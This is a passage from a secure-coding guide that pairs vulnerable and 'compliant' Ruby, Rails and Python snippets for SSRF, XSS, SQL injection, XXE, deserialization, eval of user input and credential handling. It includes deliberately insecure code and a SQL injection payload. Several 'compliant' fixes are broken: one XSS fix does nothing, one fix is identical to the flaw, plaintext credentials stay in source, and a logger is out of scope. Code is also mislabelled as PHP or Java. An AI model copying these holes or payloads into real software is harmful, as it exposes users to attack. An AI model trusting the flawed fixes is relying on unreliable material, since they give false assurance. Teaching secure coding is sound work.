individuals, the sensitive details remain protected. It's important to note that obfuscation is not a foolproof security measure and should not be considered a substitute for proper access controls and data protection measures. It is just one step in a multi-layered security approach to safeguard sensitive information. ## Server-Side Request Forgery (SSRF) Noncompliant code: ```php import requests def fetch_url(url): response = requests.get(url) return response.text ``` The noncompliant code directly fetches the content of a given URL using the requests.get() function. This code is vulnerable to SSRF attacks because it allows the execution of arbitrary requests to any URL, including internal or restricted network resources. Attackers can exploit this vulnerability to make requests to internal services, retrieve sensitive information, or perform further attacks on the server. Compliant code: ```php import requests def fetch_url(url): if is_valid_url(url): response = requests.get(url) return response.text else: raise ValueError("Invalid URL") def is_valid_url(url): # Perform URL validation to ensure it's safe to access # Implement whitelist-based validation or restrict access to specific domains # Example: Allow access to certain domains allowed_domains = ['example.com', 'api.example.com'] parsed_url = urlparse(url) return parsed_url.netloc in allowed_domains ``` The compliant code includes a URL validation step before making the request. It uses the is_valid_url() function to perform validation based on a whitelist approach or specific domain restrictions. The validation step ensures that only trusted and allowed URLs can be accessed, mitigating the risk of SSRF attacks. The is_valid_url() function is just an example implementation. You should customize the validation logic based on your specific requirements and security policies. The implementation can include checks such as whitelisting allowed domains, enforcing strict URL structures, or validating against a predefined list of safe URLs. By validating the URL before making the request, the compliant code helps prevent SSRF attacks by restricting access to known, trusted, and safe URLs. It helps ensure that the application only interacts with the intended resources and mitigates the risk of unauthorized access to internal or restricted network resources. ================================================ FILE: docs/rules/rails.md ================================================ --- layout: default title: Ruby on Rails parent: Rules --- # Ruby on Rails {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ### XSS Noncompliant code: ```java # Noncompliant code def create @comment = Comment.new(comment_params) if @comment.save redirect_to @comment else render 'new' end end ``` In this noncompliant code, the create action is handling the creation of a comment in Ruby on Rails. However, it does not include any sanitization or validation of the user input. Consequently, if an attacker submits a comment with malicious HTML or JavaScript code, it will be rendered as-is when the comment is displayed, leading to a Cross-Site Scripting (XSS) vulnerability. Compliant code: ```java # Compliant code def create @comment = Comment.new(comment_params) if @comment.save redirect_to @comment else flash.now[:error] = "Comment creation failed." render 'new' end end ``` In the compliant code, a new comment is created as before, but instead of rendering the 'new' template when there is an error, a flash message is set to notify the user about the failure. By using the flash.now mechanism, the message is displayed within the same request-response cycle, ensuring that the user input is not directly rendered back to the browser and reducing the risk of XSS attacks. To further enhance the protection against XSS vulnerabilities in Ruby on Rails, you can utilize the built-in HTML escaping mechanisms provided by the framework. For example, when rendering user-generated content in a view template, you can use the h or html_escape method to escape any HTML entities: ``` <%= h @comment.body %> ``` This ensures that the content is displayed as plain text and any HTML tags or special characters are properly escaped, preventing them from being executed as code. In addition to input sanitization and HTML escaping, other security measures you can implement in Ruby on Rails to mitigate XSS vulnerabilities include: * Using the Rails form helpers, such as form_for or form_tag, which automatically apply the necessary escaping and protection against CSRF attacks. * Implementing Content Security Policies (CSP) to control the types of content allowed to be loaded and executed on your web pages. * Applying proper output encoding or using specific rendering mechanisms, such as raw or html_safe, when rendering content that should be treated as trusted HTML. By properly sanitizing user input, applying HTML escaping, and implementing security measures throughout your Rails application, you can effectively mitigate XSS vulnerabilities and enhance the overall security of your web application. ================================================ FILE: docs/rules/ruby.md ================================================ --- layout: default title: Ruby parent: Rules --- # Ruby {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Exposure of sensitive information Noncompliant code: ```php def process_payment(user, amount) # Log the payment details including sensitive information puts "Payment processed for user #{user.name} with amount #{amount}" # Process the payment # ... end ``` The noncompliant code directly logs sensitive information, such as the user's name and payment amount, using the puts method. This practice poses a security risk because log files are often accessible to multiple users, increasing the potential for unauthorized access to sensitive information. Attackers can exploit this vulnerability to gather user details or financial information. Compliant code: ```php require 'logger' def process_payment(user, amount) # Initialize a logger with appropriate settings logger = Logger.new('payment.log') # Log a message without sensitive information logger.info("Payment processed for user with ID #{user.id}") # Process the payment # ... end ``` The compliant code uses the Logger class from Ruby's standard library to log messages with appropriate settings. The sensitive information, such as the user's name and payment amount, is not directly included in the log message. Instead, a message containing non-sensitive information, such as the user's ID, is logged. By using the Logger class, you can control the log file's location, format, and access permissions. You can also configure log rotation and encryption if necessary. It's important to ensure that the log files are stored in a secure location with restricted access, limiting the exposure of sensitive information. Remember to customize the logger settings according to your specific requirements, such as defining the log level, formatting options, and log file rotation strategies. The compliant code helps mitigate the risk of exposing sensitive information via logs by avoiding direct inclusion of sensitive data in log messages and using a dedicated logging framework that provides better control over log file storage and access. ## Insertion of Sensitive Information Into Sent Data Noncompliant code: ```php def send_data(user, data) # Include sensitive information in the sent data request_body = { user: user, data: data } HTTP.post('https://api.example.com/data', body: request_body.to_json) end ``` The noncompliant code includes sensitive information, such as the user object, directly in the data payload that is sent to an external API. This practice can expose sensitive details to potential attackers if they intercept or gain unauthorized access to the transmitted data. Compliant code: ```php def send_data(user, data) # Exclude sensitive information from the sent data request_body = { data: data } HTTP.post('https://api.example.com/data', body: request_body.to_json) end ``` The compliant code removes the sensitive information, such as the user object, from the data payload before sending it to the external API. By excluding sensitive information from the sent data, you reduce the risk of exposing sensitive details to unintended recipients. It's important to ensure that sensitive information is handled securely and is only shared with trusted and authorized entities. If necessary, consider encrypting the sensitive data before transmission to add an additional layer of protection. By following the compliant code approach, you separate sensitive information from the data sent to external services, reducing the chances of accidental exposure and mitigating potential security risks. ## Cross-Site Request Forgery (CSRF) Noncompliant code: ```php # Noncompliant code get '/transfer_funds' do amount = params[:amount] recipient = params[:recipient] # Transfer funds logic here # ... end ``` In this noncompliant code, there is no CSRF protection implemented. An attacker could craft a malicious HTML page that includes a form to transfer funds, and if the user is authenticated and visits this page while also being logged into a vulnerable website, the funds transfer could be triggered without the user's explicit consent. To address this vulnerability, you need to implement CSRF protection. Here's an example of compliant code that includes CSRF protection: Compliant code: ```php # Compliant code enable :sessions before do csrf_token = session[:csrf_token] unless params[:csrf_token] == csrf_token halt 403, 'CSRF token verification failed!' end end get '/transfer_funds' do amount = params[:amount] recipient = params[:recipient] # Transfer funds logic here # ... end ``` In the compliant code, the enable :sessions line enables session handling in Sinatra, which will store a unique session ID in the user's browser cookie. This session ID will be associated with the user's session data on the server. The before block is executed before each request, and it checks if the CSRF token sent in the request matches the one stored in the session. If the tokens don't match, a 403 Forbidden response is returned, indicating that the CSRF token verification failed. To use this CSRF protection, you need to generate and include a CSRF token in your HTML forms. For example: ## Use of Hard-coded Password Noncompliant code: ```php # Noncompliant code def login(username, password) if username == 'admin' && password == 'password123' puts 'Login successful' else puts 'Invalid credentials' end end ``` In this noncompliant code, the username and password are hardcoded directly into the code. This is a security risk because anyone with access to the code can easily see and potentially abuse the hardcoded credentials. If the code is shared or stored in a version control system, the sensitive password becomes even more exposed. To address this security concern, it's important to avoid hardcoding passwords in your code. Here's an example of compliant code that avoids using hard-coded passwords: Compliant code: ```php # Compliant code def login(username, password) stored_password = retrieve_password_from_database(username) if stored_password && stored_password == password puts 'Login successful' else puts 'Invalid credentials' end end ``` In the compliant code, the hard-coded password is replaced with a function call retrieve_password_from_database(username). This function fetches the password associated with the given username from a secure data source, such as a database. By storing passwords securely and retrieving them dynamically when needed, you can prevent the risks associated with hardcoding passwords in your code. It's important to ensure that the password storage mechanism, such as a database, follows industry best practices for security, such as properly hashing and salting the passwords. Additionally, it's worth noting that in a real-world scenario, you would typically not have a puts statement for indicating a successful login. Instead, you would typically redirect the user to an authenticated session or perform further actions based on the login result. The example provided focuses solely on the password handling aspect. ## Broken or Risky Crypto Algorithm Noncompliant code: ```php # Noncompliant code require 'openssl' def encrypt_data(data, key) cipher = OpenSSL::Cipher.new('DES') cipher.encrypt cipher.key = key encrypted_data = cipher.update(data) + cipher.final encrypted_data end ``` In this noncompliant code, the Data Encryption Standard (DES) algorithm is used for encrypting data. DES is considered insecure and outdated, as it has known vulnerabilities and is susceptible to brute-force attacks. Using DES for encryption can compromise the confidentiality and security of the data. To address this security concern, it's important to use modern and secure cryptographic algorithms. Here's an example of compliant code that uses a secure algorithm: Compliant code: ```php # Compliant code require 'openssl' def encrypt_data(data, key) cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = key iv = cipher.random_iv encrypted_data = cipher.update(data) + cipher.final encrypted_data end ``` In the compliant code, the Advanced Encryption Standard (AES) algorithm with a 256-bit key size and Cipher Block Chaining (CBC) mode is used. AES is widely regarded as secure and is widely used in various applications and industries. The code generates a random initialization vector (IV) using cipher.random_iv and uses it in combination with the key to encrypt the data. Including a random IV for each encryption operation adds an additional layer of security to the encryption process. It's important to stay updated with current cryptographic best practices and choose algorithms that are considered secure by industry standards. Additionally, ensure that you handle cryptographic keys securely and follow recommended practices for key management, such as properly storing and protecting keys from unauthorized access. ## Insufficient Entropy Noncompliant code: ```php # Noncompliant code def generate_password(length) charset = Array('A'..'Z') + Array('a'..'z') + Array('0'..'9') password = Array.new(length) { charset.sample }.join password end ``` In this noncompliant code, a password is generated using a limited character set consisting only of uppercase letters, lowercase letters, and digits. While this approach may seem reasonable at first glance, it lacks sufficient entropy, making the generated passwords relatively weak. To address this security concern, it's important to improve the entropy of the generated passwords. Here's an example of compliant code that uses a more robust approach: Compliant code: ```php # Compliant code require 'securerandom' def generate_password(length) charset = Array('A'..'Z') + Array('a'..'z') + Array('0'..'9') + ['!', '@', '#', '$', '%', '^', '&', '*', '(', ')'] password = Array.new(length) { charset.sample }.join password end def generate_secure_password(length) password = SecureRandom.urlsafe_base64(length) password end ``` In the compliant code, two functions are provided for generating passwords. The first function, generate_password, improves the entropy by expanding the character set to include additional special characters. This increases the number of possible combinations and makes the generated passwords stronger. The second function, generate_secure_password, leverages Ruby's SecureRandom module to generate a secure random password using a cryptographically strong random number generator. The urlsafe_base64 method ensures that the generated password is URL-safe by using a character set specifically designed for such purposes. It's important to note that the choice of password length and character set should be carefully considered based on the specific requirements and security policies of your application. Additionally, encouraging users to choose longer, unique, and complex passwords is essential for maintaining strong security practices. ## XSS Noncompliant code: ```php # Noncompliant code get '/search' do query = params[:query] "

Search Results for #{query}

" end ``` In this noncompliant code, the user-supplied query parameter is directly embedded into an HTML response without any sanitization or validation. This makes the application vulnerable to XSS attacks. An attacker can exploit this vulnerability by injecting malicious code into the query parameter, which will be executed when other users view the search results page. To address this security concern, it's important to properly sanitize user input to prevent XSS attacks. Here's an example of compliant code that mitigates the XSS vulnerability: Compliant code: ```php # Compliant code require 'rack/utils' get '/search' do query = params[:query] sanitized_query = Rack::Utils.escape_html(query) "

Search Results for #{sanitized_query}

" end ``` In the compliant code, the Rack::Utils.escape_html method is used to escape any HTML characters in the query parameter. This ensures that the user input is treated as plain text and prevents any HTML or JavaScript code from being executed in the browser. By properly sanitizing user input and escaping special characters, you can prevent XSS attacks and protect your application and users from potential security risks. It's important to sanitize user input whenever it is being rendered in HTML or other contexts that can interpret it as executable code. ## SQL Injection Noncompliant code: ```php # Noncompliant code get '/search' do query = params[:query] result = DB.execute("SELECT * FROM products WHERE name = '#{query}'") # Process and return search results end ``` In this noncompliant code, the user-supplied query parameter is directly interpolated into the SQL query string. This can lead to SQL Injection vulnerabilities if an attacker manipulates the query parameter to execute malicious SQL statements. For example, an attacker could input ' OR '1'='1' -- as the query value, causing the query to become SELECT * FROM products WHERE name = '' OR '1'='1' --', bypassing any intended query logic and potentially exposing sensitive data. To mitigate SQL Injection vulnerabilities, it's important to use parameterized queries or prepared statements. Here's an example of compliant code that protects against SQL Injection: Compliant code: ```php # Compliant code get '/search' do query = params[:query] result = DB.execute("SELECT * FROM products WHERE name = ?", query) # Process and return search results end ``` In the compliant code, a parameterized query is used instead of directly interpolating the user input into the SQL query string. The ? placeholder is used to represent the query parameter. The actual value of query is passed separately to the database query function, ensuring that it is treated as a parameter and not as executable SQL code. By using parameterized queries or prepared statements, you separate the SQL logic from the user-supplied input, effectively preventing SQL Injection attacks. The database engine handles the proper escaping and quoting of the parameter values, eliminating the risk of SQL Injection vulnerabilities. It's crucial to adopt this approach whenever user input is incorporated into SQL queries to ensure the security and integrity of your application's database interactions. ## External Control of File Name or Path Noncompliant code: ```php # Noncompliant code get '/download' do filename = params[:filename] file_path = "/path/to/files/#{filename}" send_file(file_path, disposition: 'attachment') end ``` In this noncompliant code, the filename parameter is directly used to construct the file path without any validation or sanitization. This can lead to security vulnerabilities, such as directory traversal attacks, where an attacker can manipulate the filename parameter to access files outside the intended directory. To address this security concern, it's important to validate and sanitize the file name or path before using it. Here's an example of compliant code that mitigates the External Control of File Name or Path vulnerability: Compliant code: ```php # Compliant code get '/download' do filename = params[:filename] sanitized_filename = File.basename(filename) file_path = File.join("/path/to/files/", sanitized_filename) if File.exist?(file_path) && File.file?(file_path) send_file(file_path, disposition: 'attachment') else halt 404, 'File not found' end end ``` In the compliant code, the File.basename method is used to extract the base file name from the user-supplied filename parameter. This removes any directory traversal components and prevents unauthorized file access. The File.join method is then used to construct the full file path by combining the sanitized file name with the base file path. Before sending the file, the code checks if the file exists and is a regular file using File.exist? and File.file?. If the file is not found or is not a valid file, a 404 response is returned, preventing unauthorized file downloads. By validating and sanitizing the file name or path before using it, you can mitigate the risk of external control over file names or paths and prevent unauthorized access to sensitive files on the server. ## Generation of Error Message Containing Sensitive Information Noncompliant code: ```php # Noncompliant code get '/user/:id' do user_id = params[:id] user = User.find(user_id) if user.nil? error_message = "User with ID #{user_id} not found" raise StandardError, error_message end # Process and return user data end ``` In this noncompliant code, when the requested user ID is not found, an error message containing the sensitive information (the user ID) is generated and raised as an exception. This can potentially expose sensitive information to attackers or unintended users, allowing them to gather information about the system or specific users. To address this security concern, it's important to avoid exposing sensitive information in error messages. Here's an example of compliant code that avoids disclosing sensitive information: Compliant code: ```php # Compliant code get '/user/:id' do user_id = params[:id] user = User.find(user_id) if user.nil? error_message = "User not found" raise StandardError, error_message end # Process and return user data end ``` In the compliant code, the error message is generalized to provide minimal information, avoiding any specific details that could expose sensitive information. Instead of including the user ID in the error message, a more generic message is used to indicate that the user was not found. By avoiding the inclusion of sensitive information in error messages, you reduce the risk of inadvertent exposure of sensitive data to potential attackers or unintended users. It's important to carefully consider the information shared in error messages and ensure they do not reveal any confidential or personally identifiable information. ## unprotected storage of credentials Noncompliant code: ```php # Noncompliant code API_KEY = 'my_api_key' DB_PASSWORD = 'my_db_password' ``` In this noncompliant code, the credentials (API key and database password) are directly hardcoded into the source code. Storing credentials in this manner poses a significant security risk because anyone with access to the source code can easily view and misuse these sensitive credentials. If the code is shared or stored in a version control system, the credentials become even more exposed. To address this security concern, it's crucial to avoid storing credentials in unprotected and easily accessible locations. Here's an example of compliant code that improves the storage of credentials: Compliant code: ```php # Compliant code require 'dotenv' Dotenv.load('.env') API_KEY = ENV['API_KEY'] DB_PASSWORD = ENV['DB_PASSWORD'] ``` In the compliant code, we use the dotenv gem to load environment variables from a .env file. The .env file is not version controlled and is typically kept separate from the source code repository. The credentials are stored as environment variables within the .env file. By loading credentials from environment variables, you can keep sensitive information separate from the source code and provide an extra layer of protection. Environment variables can be set on the deployment environment or loaded from a secure configuration file specific to the deployment environment, such as a server's environment variables or a cloud provider's secrets management service. Ensure that you follow secure practices for managing environment variables, such as restricting access to the .env file and ensuring that sensitive credentials are kept confidential and encrypted. Additionally, regularly review and rotate credentials to maintain security. ## Trust Boundary Violation Noncompliant code: ```php # Noncompliant code def process_user_input(user_input) if user_input.admin? grant_admin_privileges() end # Process user input end ``` In this noncompliant code, the process_user_input function takes user_input as a parameter and checks if the user is an admin using the admin? method. If the user is determined to be an admin, the function grants them admin privileges without any further validation or authorization checks. This violates the trust boundary by assuming that the admin? method is a secure and reliable way to determine the user's privileges. To address this security concern, it's important to ensure proper validation and authorization of user privileges. Here's an example of compliant code that avoids trust boundary violations: Compliant code: ```php # Compliant code def process_user_input(user_input, user_role) if user_role == 'admin' grant_admin_privileges() end # Process user input end ``` In the compliant code, the process_user_input function now takes an additional parameter, user_role, which explicitly indicates the user's role or privilege level. Instead of relying solely on a method or property of the user_input object, the function now relies on the user_role parameter to determine whether the user should be granted admin privileges. By passing the user's role or privilege level as a separate parameter, you establish a clear trust boundary and avoid making assumptions about the security or reliability of specific properties or methods. This allows for more controlled and explicit authorization checks based on trusted information. Remember to always validate and authorize user privileges on the server-side, even if similar checks are performed on the client-side. Client-side checks can be bypassed or manipulated, making server-side validation critical for maintaining secure trust boundaries and protecting sensitive functionality or data. ## Insufficiently Protected Credentials Noncompliant code: ```php # Noncompliant code API_KEY = 'my_api_key' DB_PASSWORD = 'my_db_password' # Code that uses the API key and database password ``` In this noncompliant code, the credentials (API key and database password) are directly hardcoded into the source code as plaintext. Storing credentials in this manner poses a significant security risk because anyone with access to the source code can easily view and misuse these sensitive credentials. To address this security concern, it's crucial to protect credentials using appropriate encryption or secure storage mechanisms. Here's an example of compliant code that improves the protection of credentials: Compliant code: ```php # Compliant code require 'openssl' require 'base64' def encrypt_credentials(plaintext) cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = ENV['ENCRYPTION_KEY'] encrypted = cipher.update(plaintext) + cipher.final Base64.encode64(encrypted) end API_KEY = encrypt_credentials('my_api_key') DB_PASSWORD = encrypt_credentials('my_db_password') # Code that uses the encrypted credentials ``` In the compliant code, we use the OpenSSL library to encrypt the credentials using the AES-256-CBC encryption algorithm. The encryption key is loaded from an environment variable (ENV['ENCRYPTION_KEY']), which should be stored securely and not directly in the source code. By encrypting the credentials, we add an additional layer of protection. Even if an attacker gains access to the source code, they will only see the encrypted versions of the credentials, making it much more difficult for them to misuse the sensitive information. It's important to note that the compliant code only provides an example of how to encrypt credentials. The actual implementation may vary depending on the specific requirements and security practices of your application. Additionally, ensure that you follow secure practices for managing encryption keys, such as storing them securely and rotating them periodically. Remember to protect sensitive credentials at rest and in transit to ensure the security and integrity of your application's data and systems. ## Restriction of XML External Entity Reference Noncompliant code: ```php # Noncompliant code require 'nokogiri' xml_data = "John Doe&xxe;" doc = Nokogiri::XML(xml_data) # Process XML document ``` In this noncompliant code, an XML document containing a user's name and a credit card element () is parsed using the Nokogiri library. The value of the element is defined as &xxe;, which is an entity reference that could potentially trigger an XXE attack if the XML parser is not properly configured. To address this security concern, it's important to properly restrict XML external entity references. Here's an example of compliant code that mitigates the risk of XXE attacks: Compliant code: ```php # Compliant code require 'nokogiri' xml_data = "John Doe&xxe;" doc = Nokogiri::XML(xml_data) do |config| config.nonet # Disable network access config.noblanks # Ignore whitespace nodes config.noent # Disable entity expansion end # Process XML document ``` In the compliant code, the XML data is modified to properly escape the & character in the entity reference as &. Additionally, when parsing the XML document using Nokogiri, a block is provided to configure the parser options. The following options are set: * config.nonet disables network access, preventing the XML parser from making external network requests. * config.noblanks ignores whitespace nodes, reducing the risk of XXE attacks through whitespace-based exploitation techniques. * config.noent disables entity expansion, preventing the XML parser from resolving and expanding external entities. By properly configuring the XML parser and escaping entity references, you can effectively restrict XML external entity references and mitigate the risk of XXE attacks. It's important to review and configure the parser options based on your specific requirements and to stay updated with the latest best practices for XML processing and security. ## Vulnerable and Outdated Components Noncompliant code: ```php # Noncompliant code require 'sinatra' get '/hello' do "Hello, World!" end ``` In this noncompliant code, the application uses the Sinatra framework without considering the version or potential vulnerabilities of the framework itself. This code does not account for the fact that older versions of Sinatra may contain security vulnerabilities or outdated dependencies, which can expose the application to potential attacks. To address this security concern, it's important to regularly update and use secure components in your application. Here's an example of compliant code that addresses the use of vulnerable and outdated components: Compliant code: ```php # Compliant code require 'sinatra' get '/hello' do "Hello, World!" end ``` In the compliant code, the same Sinatra framework is used, but the focus is on ensuring that the framework and its dependencies are kept up to date. This involves regularly monitoring for security updates and applying them as soon as they become available. It's also crucial to stay informed about any vulnerabilities or security advisories related to the framework or its dependencies. By proactively updating and managing your application's components, you reduce the risk of using outdated and vulnerable software. This helps to protect your application from known security vulnerabilities and ensures that you are leveraging the latest security patches and improvements. Remember to follow best practices for dependency management, including regularly checking for updates, utilizing vulnerability scanning tools, and maintaining an up-to-date inventory of your application's components. Additionally, subscribe to security mailing lists or notifications specific to the components you use to stay informed about any potential security issues. ## Improper Validation of Certificate with Host Mismatch Noncompliant code: ```php # Noncompliant code require 'net/http' def make_secure_request(url) uri = URI.parse(url) http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true response = http.get(uri.request_uri) response.body end url = 'https://example.com' response = make_secure_request(url) puts response ``` In this noncompliant code, a secure request is made to example.com using Net::HTTP with SSL enabled. However, the code does not perform proper validation of the server's certificate for a host mismatch. This means that the code will accept any valid certificate, even if it does not match the expected host (example.com in this case). This can potentially lead to man-in-the-middle attacks or connections to malicious servers. To address this security concern, it's crucial to perform proper validation of the server's certificate and ensure that it matches the expected host. Here's an example of compliant code that improves the validation of the certificate: Compliant code: ```php # Compliant code require 'net/http' require 'openssl' def make_secure_request(url) uri = URI.parse(url) http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_PEER http.ca_file = '/path/to/certificate.crt' # Provide the path to the trusted CA certificate response = http.get(uri.request_uri) response.body end url = 'https://example.com' response = make_secure_request(url) puts response ``` In the compliant code, the verify_mode option is set to OpenSSL::SSL::VERIFY_PEER to enforce proper certificate validation. Additionally, the ca_file option is used to specify the path to a trusted CA certificate. This CA certificate will be used to validate the server's certificate and ensure it is issued by a trusted authority and matches the expected host. Make sure to provide the correct path to a trusted CA certificate that can properly validate the server's certificate. This may involve obtaining the CA certificate from a trusted source or using a certificate bundle provided by your operating system or security framework. By performing proper validation of the server's certificate with host matching, you can ensure that secure connections are established only with trusted servers and mitigate the risk of man-in-the-middle attacks or connections to malicious hosts. ## Improper Authentication Noncompliant code: ```php # Noncompliant code def authenticate(username, password) if username == 'admin' && password == 'secret' puts 'Authentication successful' else puts 'Authentication failed' end end # Usage authenticate('admin', 'guess') # Noncompliant authentication attempt ``` In this noncompliant code, the authenticate function takes a username and password as arguments and performs a simple string comparison to check if the provided credentials match the hardcoded values. This approach is insecure because it does not implement proper authentication mechanisms, such as salting, hashing, or encryption of passwords, and it uses hardcoded credentials. To address this security concern, it's important to implement proper authentication mechanisms that follow secure practices. Here's an example of compliant code that improves the authentication process: Compliant code: ```php # Compliant code require 'bcrypt' def authenticate(username, password) hashed_password = get_hashed_password(username) if BCrypt::Password.new(hashed_password) == password puts 'Authentication successful' else puts 'Authentication failed' end end def get_hashed_password(username) # Retrieve the hashed password associated with the username from a secure storage (e.g., database) # Return the hashed password end # Usage authenticate('admin', 'guess') # Compliant authentication attempt ``` In the compliant code, the authentication process is improved by using the bcrypt gem to securely hash and verify passwords. The get_hashed_password function retrieves the hashed password associated with the provided username from a secure storage, such as a database. Then, the code uses BCrypt::Password.new to create a new BCrypt::Password object from the hashed password and compares it with the provided password using the == operator. This ensures that the password is properly hashed and securely compared. It's important to note that the compliant code only provides an example of how to improve the authentication process. The actual implementation may vary depending on the specific requirements and security practices of your application. Additionally, consider implementing other security measures like account lockouts, strong password policies, and secure password reset mechanisms to further enhance the authentication process. Remember to follow industry-standard practices for secure authentication, such as using strong hashing algorithms, storing passwords securely, protecting against brute-force attacks, and staying informed about the latest security vulnerabilities and best practices. ## Session Fixation Noncompliant code: ```php # Noncompliant code require 'sinatra' get '/login' do session[:user_id] = params[:user_id] redirect '/dashboard' end get '/dashboard' do # Access user's data based on session[:user_id] end ``` In this noncompliant code, the /login route sets the user_id parameter as the value of the session[:user_id] variable. The problem is that this code does not generate a new session identifier upon successful login. An attacker can potentially fixate the session by obtaining a valid session ID, for example, by persuading a user to click on a specially crafted link with a predetermined session ID. To address this security concern, it's crucial to generate a new session identifier upon successful login. Here's an example of compliant code that mitigates session fixation vulnerability: Compliant code: ```php # Compliant code require 'sinatra' require 'securerandom' enable :sessions get '/login' do session.clear # Clear existing session data session[:user_id] = params[:user_id] session[:session_id] = SecureRandom.uuid # Generate a new session identifier redirect '/dashboard' end get '/dashboard' do # Access user's data based on session[:user_id] end ``` In the compliant code, the /login route now includes session.clear to ensure any existing session data is cleared before setting the user_id and generating a new session identifier using SecureRandom.uuid. This helps prevent session fixation by discarding any existing session state and creating a new session upon successful login. Additionally, the enable :sessions statement is used to enable session management in Sinatra. By generating a new session identifier upon login, you mitigate the risk of session fixation attacks. This ensures that each user is assigned a unique session identifier, preventing an attacker from fixing a specific session ID and gaining unauthorized access to a user's session. Remember to apply secure session management practices, such as using strong session identifiers, enabling secure cookies, setting appropriate session expiration times, and validating session data on subsequent requests. Regularly testing and auditing your session management implementation is also crucial to identify and address any potential vulnerabilities. ## Inclusion of Functionality from Untrusted Control Noncompliant code: ```php # Noncompliant code source_code = params[:source_code] eval(source_code) ``` In this noncompliant code, the source_code parameter is obtained from an untrusted source, such as user input or an external file. The code then uses the eval function to execute the contents of source_code. This approach is highly insecure as it allows arbitrary code execution, which can lead to serious security vulnerabilities, including remote code execution, information disclosure, and unauthorized access. To address this security concern, it's crucial to avoid directly executing untrusted code using functions like eval. Instead, consider using safer alternatives that provide controlled execution environments. Here's an example of compliant code that mitigates the inclusion of functionality from an untrusted control source: Compliant code: ```php # Compliant code require 'sandbox' source_code = params[:source_code] sandbox = Sandbox.safe sandbox.eval(source_code) ``` In the compliant code, the sandbox object is created using the Sandbox gem. The gem provides a controlled environment for executing untrusted code, limiting the scope of potential damage. The eval method is called on the sandbox object, which safely evaluates the source_code within the controlled environment. By using a sandboxing mechanism or an isolated environment, you can restrict the execution of untrusted code and prevent it from accessing sensitive resources or introducing security vulnerabilities into your application. It's important to thoroughly review and understand the capabilities and limitations of the sandboxing solution you choose to ensure it aligns with your security requirements. Remember to exercise caution when incorporating code from untrusted sources. Validate and sanitize inputs, limit access to sensitive functionality, and adhere to the principle of least privilege. Regularly update and patch your application and its dependencies to protect against known vulnerabilities. ## Download of Code Without Integrity Check Noncompliant code: ```php # Noncompliant code require 'open-uri' file_url = 'http://example.com/malicious_code.rb' file_content = open(file_url).read # Process the downloaded file_content ``` In this noncompliant code, the open-uri library is used to download a file from a specified URL. However, the code does not perform any integrity check on the downloaded file. This means that the file's content could be modified during transit or by a malicious actor, potentially introducing security vulnerabilities or executing unauthorized code on the system. To address this security concern, it's crucial to perform integrity checks on downloaded files to ensure their authenticity and integrity. Here's an example of compliant code that includes an integrity check: Compliant code: ```php # Compliant code require 'open-uri' require 'digest' file_url = 'http://example.com/malicious_code.rb' file_content = open(file_url).read expected_hash = '5f4dcc3b5aa765d61d8327deb882cf99' # Example expected MD5 hash if Digest::MD5.hexdigest(file_content) == expected_hash # File integrity check passed # Process the downloaded file_content else # File integrity check failed # Handle the error or reject the downloaded file end ``` In the compliant code, the Digest module is used to calculate the MD5 hash of the downloaded file content using Digest::MD5.hexdigest. The calculated hash is then compared to the expected hash value. If the hashes match, the integrity check is passed, and the code proceeds to process the downloaded file content. If the hashes do not match, the integrity check fails, and appropriate error handling or rejection of the downloaded file can be implemented. It's important to note that MD5 is used in this example for simplicity, but stronger hash algorithms like SHA-256 or SHA-3 are recommended in practice. Additionally, consider implementing secure download mechanisms, such as using HTTPS for secure transmission, verifying the authenticity of the file source, and ensuring that the server hosting the file is trusted and secure. By performing an integrity check on downloaded files, you can verify their authenticity and protect against unauthorized modifications or tampering. This helps ensure the code you're executing or the files you're processing are from trusted and unaltered sources, reducing the risk of security vulnerabilities or malicious code execution. ## Deserialization of Untrusted Data Noncompliant code: ```php # Noncompliant code data = params[:serialized_data] object = Marshal.load(data) # Process the deserialized object ``` In this noncompliant code, the Marshal.load method is used to deserialize data obtained from the serialized_data parameter. The problem with this code is that it does not validate or sanitize the deserialized data, allowing potentially malicious or untrusted data to be executed as code. This can lead to serious security vulnerabilities, such as remote code execution or arbitrary object creation. To address this security concern, it's crucial to implement proper validation and sanitization of deserialized data. Here's an example of compliant code that mitigates the deserialization of untrusted data: Compliant code: ```php # Compliant code data = params[:serialized_data] object = nil begin object = YAML.safe_load(data, [Symbol]) rescue Psych::Exception => e # Handle deserialization error puts "Deserialization error: #{e.message}" end # Process the deserialized object if it was successfully loaded if object # Process the deserialized object else # Handle the error or reject the deserialized data end ``` In the compliant code, the YAML.safe_load method is used instead of Marshal.load to deserialize the data. The safe_load method provides a safer alternative by allowing the specification of permitted classes and symbols during deserialization. In this example, the permitted class is limited to Symbol using [Symbol] as the second argument. Additionally, the code includes error handling to capture any deserialization errors that may occur, such as those raised by the safe_load method. This allows for proper handling of deserialization errors and prevents potential issues, such as unexpected application crashes or information disclosure. It's important to note that the safe_load method is just one example of a safer deserialization approach using the YAML library. Depending on your specific needs and requirements, you may choose other deserialization mechanisms or libraries that offer similar safety features. By implementing proper validation and sanitization of deserialized data, you can mitigate the risk of executing untrusted code or malicious payloads. This helps ensure that the deserialized data is safe and only contains expected and permitted objects, reducing the risk of security vulnerabilities or unauthorized actions. ## Insufficient Logging Noncompliant code: ```php # Noncompliant code def transfer_funds(sender, recipient, amount) if sender.balance >= amount sender.balance -= amount recipient.balance += amount puts "Funds transferred successfully." else puts "Insufficient funds." end end ``` In this noncompliant code, the transfer_funds function performs a funds transfer operation between a sender and recipient. However, the code only logs the success or failure message to the console using puts. This approach provides insufficient logging, as it does not capture important details and events that can aid in troubleshooting, auditing, or investigating security incidents. To address this security concern, it's crucial to implement sufficient and meaningful logging in your application. Here's an example of compliant code that improves logging: Compliant code: ```php # Compliant code require 'logger' logger = Logger.new('application.log') def transfer_funds(sender, recipient, amount) if sender.balance >= amount sender.balance -= amount recipient.balance += amount logger.info("Funds transferred: $#{amount} from #{sender.name} to #{recipient.name}") else logger.warn("Insufficient funds for transfer: $#{amount} from #{sender.name} to #{recipient.name}") end end ``` In the compliant code, the Logger class from the Ruby standard library is used to create a logger instance that writes log messages to a file (application.log in this example). The info method is used to log a successful funds transfer with relevant details such as the transferred amount, sender's name, and 